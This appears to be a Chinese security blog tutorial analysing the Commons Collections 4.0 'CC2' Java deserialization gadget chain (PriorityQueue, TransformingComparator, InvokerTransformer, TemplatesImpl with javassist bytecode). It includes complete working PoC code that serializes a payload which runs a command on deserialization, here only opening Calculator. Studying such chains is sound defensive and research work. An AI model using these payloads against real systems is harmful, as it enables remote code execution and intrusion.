Java反序列化-CommonsCollections2分析

0x00 前言

继续来学习cc2,这个链需要一些前置知识所以前前后后看了好久才明白,同时也学到了很多

环境:jdk 1.7

在我们开始cc2的分析之前我们需要先知道下面三个前置知识:javasist,ClassLoader#defineClass,TemplatesImpl,cc2中就是就是结合这几块进行的触发

cc2中利用的是cc4.0,因为cc3.1中TransformingComparator没有继承自Serializable所以无法进行Java反序列化

image-20210302205406101

0x01 javasist

首先Maven添加依赖:

        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.25.0-GA</version>
        </dependency>

通常我们需要将.java 编译成 .class 才能正常运行,在命令行中我们通常使用javac 来进行编译,利用编译生成的固定格式的字节码(.class) 来供jvm虚拟机进行使用,每一个class文件中都包含着一个java类和一个接口。

javasist就是一个处理字节码的类库,能够动态的修改class中的字节码

接下来简单介绍一下常用方法 :

ClassPool是一个CtClass对象的容器,一个CtClass必须从中进行获取,通过ClassPool.getDefault() 返回了默认的类池(默认的类池搜索系统搜索路径,通常包括平台库、扩展库以及由-classpath选项或CLASSPATH环境变量指定的搜索路径)

ClassPool pool = ClassPool.getDefault();

创建名为Evil的类

CtClass test = pool.makeClass("Evil");

添加类搜索路径,通过ClassPool.getDefault(); 获取的 ClassPool使用JVM的类进行搜索路径,但是如果程序运行在JBoss 或 Tomcat 有可能就会找不到用户的类,因为Web服务器会使用多个类加载器作为系统加载器,这时候我们必须要通过如下命令来添加我们的路径

pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));

设置要继承的类

test.setSuperclass(pool.get(AbstractTranslet.class.getName()));

创建一个空的类初始化器(静态构造函数)

CtConstructor constructor = test.makeClassInitializer();

将字节码插入到开头

constructor.insertBefore("System.out.println(\"Hello,Javasist\");");

将编译的类创建为.class 文件

test.writeFile("./");

Demo:

package test;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import java.lang.reflect.Method;

public class JavasistTest {

    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass test = pool.makeClass("Evil");
        String name = "Evil" + System.nanoTime();
        test.setName(name);
        String cmd = "System.out.println(\"Hello,Javasist\");";
        test.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        CtConstructor constructor = test.makeClassInitializer();
        constructor.insertBefore(cmd);
        test.writeFile("./");
    }
}

生成的.class 文件如下 :

image-20210302114005766

0x02 ClassLoader#defineClass

ClassLoader是Java的类加载器,负责将字节码转化成内存中的Java类,加载过程中采用双亲委派来实现加载,这里只是简单介绍一下,后面会专门写文章来进行介绍

我们这里可以利用类加载器的defineClass方法来加载我们的字节码

package test;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import java.lang.reflect.Method;

public class JavasistTest {

    public static void main(String[] args) throws Exception{
        //
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass test = pool.makeClass("Evil");
        String name = "Evil" + System.nanoTime();
        String cmd = "System.out.println(\"Hello,Javasist\");";
        test.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        CtConstructor constructor = test.makeClassInitializer();
        constructor.insertBefore(cmd);
        test.writeFile("./");

        byte[] bytes = test.toBytecode();
        Class clas = Class.forName("java.lang.ClassLoader");
        Method defineclass = clas.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineclass.setAccessible(true);
        Class claz = (Class) defineclass.invoke(ClassLoader.getSystemClassLoader(),"Evil",bytes,0,bytes.length);
        claz.newInstance();
    }
}

但是由于ClassLoader#defineClass方法是protected所以我们无法直接从外部进行调用,所以我们这里需要借助反射来调用这个方法

Class clas = Class.forName("java.lang.ClassLoader");
        Method defineclass = clas.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineclass.setAccessible(true);
        Class claz = (Class) defineclass.invoke(ClassLoader.getSystemClassLoader(),"Evil",bytes,0,bytes.length);
        claz.newInstance();

这里需要注意的是,ClassLoader#defineClass返回的类并不会初始化,只有这个对象显式地调用其构造函数初始化代码才能被执行,所以我们需要想办法调用返回的类的构造函数才能执行命令

0x03 TemplatesImpl

在TemplatesImpl类中定义了一个内部类

image-20210302120200026

在这个类中对loadClass进行了重写,并且没有显式的对定义域进行声明,可以被外部进行调用

我们可以进行一系列的调用来触发,利用链如下:

TemplatesImpl.getOutputProperties()
  TemplatesImpl.newTransformer()
    TemplatesImpl.getTransletInstance()
        TemplatesImpl.defineTransletClasses()
            TransletClassLoader.defineClass()

这里我们利用TemplatesImpl来加载字节码

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;

import java.lang.reflect.Field;

public class TemplatesTest {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass clas = pool.makeClass("TempTest");

        clas.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        String cmd = "System.out.println(\"Templates Test\");";
        CtConstructor constructor = clas.makeClassInitializer();
        constructor.insertBefore(cmd);
        clas.writeFile("./");

        byte[] bytes = clas.toBytecode();

        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Class temp = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field _name = temp.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates,"tttt");

        Field _class = temp.getDeclaredField("_class");
        _class.setAccessible(true);
        _class.set(templates,null);

        Field _bytecodes = temp.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        _bytecodes.set(templates,new byte[][]{bytes});

        Field _tfactory = temp.getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(templates,new TransformerFactoryImpl());

        templates.getOutputProperties();

    }
}

这里我们需要利用反射设置四个属性,同时javasist生成的类要继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet否则将无法到达触发点,我们一个个来进行分析

  1. 为什么要利用反射设置这四个属性

在getTransletInstance函数中,如果_name为null则直接返回null,同时我们需要 _class 为null 从而进入defineTransletClasses方法

image-20210302163029899

defineTransletClasses 函数中 我们需要将 _bytecodes设置为我们要读取的字节码,然后在第二个红框处,我们也需要设置_tfactory 不然就会返回null,无法到达触发点

image-20210302163237469

_tfactory 是TransformerFactoryImpl类,所以我们只需要传入new TransformerFactoryImpl() 就可以了

image-20210302163446313

同时 _bytecodesbyte[][] , 所以我们转换一下即可 new byte[][]{bytes}

image-20210302163602658

  1. 为什么javasist生成的代码要继承自AbstractTranslet

TemplatesImpldefineTransletClasses()函数中在利用defineClass获取到我们的字节码之后会对读取的字节码进行一个判断,判断是否继承自AbstractTranslet,所以我们在javasist生成字节码的时候要设置父类

image-20210302181408447

不过我们可以发现上面的代码重复的太多,所以我们只需要简单的写一个static方法就可以了

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;

import java.lang.reflect.Field;

public class TemplatesTest {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass clas = pool.makeClass("TempTest");

        clas.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        String cmd = "System.out.println(\"Templates Test\");";
        CtConstructor constructor = clas.makeClassInitializer();
        constructor.insertBefore(cmd);
        clas.writeFile("./");

        byte[] bytes = clas.toBytecode();

        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Class temp = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field _name = temp.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates,"tttt");
        setFieled(templates,temp,"_name","tttt");
        setFieled(templates,temp,"_class",null);
        setFieled(templates,temp,"_bytecodes",new byte[][]{bytes});
        setFieled(templates,temp,"_tfactory",new TransformerFactoryImpl());

        templates.getOutputProperties();
    }

    public static void setFieled(TemplatesImpl templates,Class clas ,String fieled,Object obj) throws Exception{
        Field _field = clas.getDeclaredField(fieled);
        _field.setAccessible(true);
        _field.set(templates,obj);
    }
}

0x04 利用链分析

上面我们已经简单介绍过了三个前置知识,现在我们正式开始分析一下

在cc2中我们需要用到javasist和commonscollections4.0,在pom文件中添加如下依赖

 <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.25.0-GA</version>
</dependency>

我们先来看一下利用链:

ObjectInputStream.readObject()
    PriorityQueue.readObject()
    PriorityQueue.heapify()
        PriorityQueue.siftDown()
            PriorityQueue.siftDownUsingComparator()
                TransformingComparator.compare()
                    InvokerTransformer.transform()
                        Method.invoke()
                            TemplatesImpl.newTransformer()
                                TemplatesImpl.getTransletInstance()
                                TemplatesImpl.defineTransletClasses()
                                    TransletClassLoader.defineClass()
                                newInstance()
                                    Runtime.getRuntime().exec("open -a Calculator")

TransformingComparator

首先在cc2中利用了TransformingComparatorcompare 来触发transform方法(感觉目前看下来cc主要就是花式触发transform方法),在compare 方法中会触发 this.transformertransform方法

image-20210302165927169

接下来我们看看 this.transformer 是否可控,发现在构造函数中会将我们传入的transformer赋值给this.transformer 属性

image-20210302170159098

然后如果我们传入的obj1可控,那么我们就可以利用InvokerTransformer 任意类的任意方法

        Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer")
                .getDeclaredConstructor(String.class);
        constructor.setAccessible(true); // 修改作用域
        InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

image-20210302172339419

所以接下来我们只需要找到能触发TransformingComparator.compare() 同时传入的参数可控,就可以利用InvokerTransformer来执行我们的方法了,在cc2中用到了 PriorityQueue来进行触发

条件:

  1. 能触发TransformingComparator.compare()
  2. 传入compare函数的参数可控

PriorityQueue

首先我们先从 PriorityQueue.readObject() 开始看,发现会对传入的ObjectInputStream进行反序列化然后赋值给queue数组,既然是反序列化那么我们传入的肯定是我们通过序列化传入的数据

image-20210302164436985

于是我们来看writeObject,发现在该方法中会将PriorityQueue 属性作为传入的参数进行序列化,那么既然是属性我们自然可以利用反射来控制queue,所以这里queue可控

image-20210302164703986

继续回到readObject() ,接下来跟进 heapify() 函数,由于上面说到由于利用反射所以queue可控,那么现在我们红框处也可控

image-20210302164946276

继续来看 siftDown() 函数,如果comparator不为null,那么就会进入siftDownUsingComparator() 函数,此时x可控

image-20210302165032873

进入siftDownUsingComparator() 函数,发现在红框处调用了comparator的compare函数, 同时这里的 x 可控(由于queue可控所以这里x可控)

image-20210302165525891

这里我们利用反射设置comparator为TransformingComparator,同时x可控,那么这样就可以利用 InvokerTransformer 触发任意类的任意方法,所以这里可以利用cc1中的半段链,然后反射控制queue进行触发

所以这里我们可以构造如下Poc,利用cc1中的半段:

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
public class Test {
    public static void main(String[] args) throws Exception{
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"open  /System/Applications/Calculator.app"})});
        TransformingComparator transformingComparator = new TransformingComparator(chain);
      //也可通过构造函数直接进行传入
      //PriorityQueue queue = new PriorityQueue(1,transformingComparator);

        PriorityQueue queue = new PriorityQueue(1);
        queue.add(1);
        queue.add(2);

        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue,transformingComparator);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("/Users/xxx/Desktop/evil.bin"));
            outputStream.writeObject(queue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("/Users/xxx/Desktop/evil.bin"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }

    }
}

为什么这里queue要添加两个元素?

如果我们只添加一个的话,最终结果会为-1从而无法进入siftDown函数

image-20210302210021819

但是我们可以发现在cc2中并没有用到这种方法,cc2中是利用javasist 和 TemplatesImpl,利用字节码来进行执行代码的,那么这里为什么不用上面的这种Poc呢?

因为上面的Poc只能执行命令,但是cc2中我们能够执行代码,所以执行代码能造成的危害会更加大,接下来我们来看一下cc2中的Poc

首先利用javasist生成字节码,然后利用上面的InvokerTransformer触发TemplatesImplnewTransformer 从而读取恶意字节码从而进行执行命令

Poc 如下:

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

public class CommonCollection2 {
    public static void main(String[] args) throws Exception {
        Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer")
                .getDeclaredConstructor(String.class);
        constructor.setAccessible(true); 
        InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open  /System/Applications/Calculator.app\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); 

        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_class", null);

        TransformingComparator comparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(1);

        Object[] queue_array = new Object[]{templates,1};
        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
        queue_field.setAccessible(true);
        queue_field.set(queue,queue_array);

        Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
        size.setAccessible(true);
        size.set(queue,2);

        Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparator_field.setAccessible(true);
        comparator_field.set(queue,comparator);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
            outputStream.writeObject(queue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }

    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

所以根据上面说到的,需要利用InvokerTransformer触发TemplatesImplnewTransformer

        Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer")
                .getDeclaredConstructor(String.class);
        constructor.setAccessible(true); 
        InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

所以我们从 compare 这里继续往下看

image-20210302175816309

接下来就会进入到TemplatesImplnewTransformer 方法,是不是很熟悉?我们在介绍的TemplatesImpl的时候就有提到过,我们这里再跟进一遍

image-20210302175900388

进入TemplatesImplgetTransletInstance() 函数,这里利用反射让 _name 不为null,_class 为null即可

image-20210302180109579

然后进入 defineTransletClasses() 方法,同样使用反射方法将_bytecodes 设置为javasist生成的字节码。

这里发现_tfactory 已经有值了所以我们不需要像上面那样再赋值了

image-20210302180449267

然后利用defineClass读取字节码,并且赋值给_class,同时在第二个红框处判断是否继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet ,如果继承了就讲下标赋值给 _transletIndex

image-20210302180705146

最后回到TemplatesImplgetTransletInstance()中在红框处对类进行了初始化,从而触发了我们的恶意代码

image-20210302180846176

image-20210302181527783

0x05 总结

通过这个cc2前前后后也学习了很多相关的东西,整体看下来感觉利用链非常的巧妙,在文章将之前折腾了很久的点都进行了说明,希望能帮助到看这篇文章的师傅们

0x06 参考链接

https://www.anquanke.com/post/id/219840#h3-8

https://paper.seebug.org/1242/#_10

https://tech.meituan.com/2019/09/05/java-bytecode-enhancement.html

https://www.f4de.ink/pages/5d070a/#%E4%BD%BF%E7%94%A8classloader%E7%9B%B4%E6%8E%A5%E5%8A%A0%E8%BD%BD%E5%AD%97%E8%8A%82%E7%A0%81

https://www.jianshu.com/p/43424242846b

点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注